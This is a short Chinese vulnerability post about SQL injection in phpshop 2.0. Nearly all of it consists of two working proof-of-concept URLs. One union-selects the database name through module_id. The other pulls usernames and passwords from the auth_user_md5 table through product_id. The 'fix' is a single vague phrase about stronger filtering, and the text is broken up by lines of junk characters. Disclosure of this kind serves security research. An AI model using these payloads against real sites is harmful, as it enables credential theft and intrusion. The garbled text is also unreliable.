phpshop 2.0 SQL注入及修复

admin

标题 : phpshop 2.0 SQL Injection Vulnerability
( {5 H* P* u+ _% U- B
作者 : By onestree
下载地址 : http://code.google.com/p/phpshop/downloads/list
测试地址: windows 7 / ubuntu
) }2 O9 {9 }4 m$ c; ]- l

SQLi p0c:
& [+ s& q# m3 k0 ?  [0 p: u: X
0 j+ |+ ^" n, p" \6 m" b==================

http://www.xxx.com /phpshop 2.0/?page=admin/function_list&module_id=11'
. t1 o% d4 u* q7 z+ q" @union select 1,database(),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 --

3 o! m" r5 S' q, o2 ]3 K' bhttp://localhost/phpshop 2.0/?page=shop/flypage&product_id=1087'/**/union/**/select/**/1,1,1,1,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,username/**/from/**/auth_user_md5--

修复：
; o6 u7 i$ [1 ?' @) Z, M加强过滤
& p4 E+ v( A% v3 D( r. X: Y- j5 U) }# u​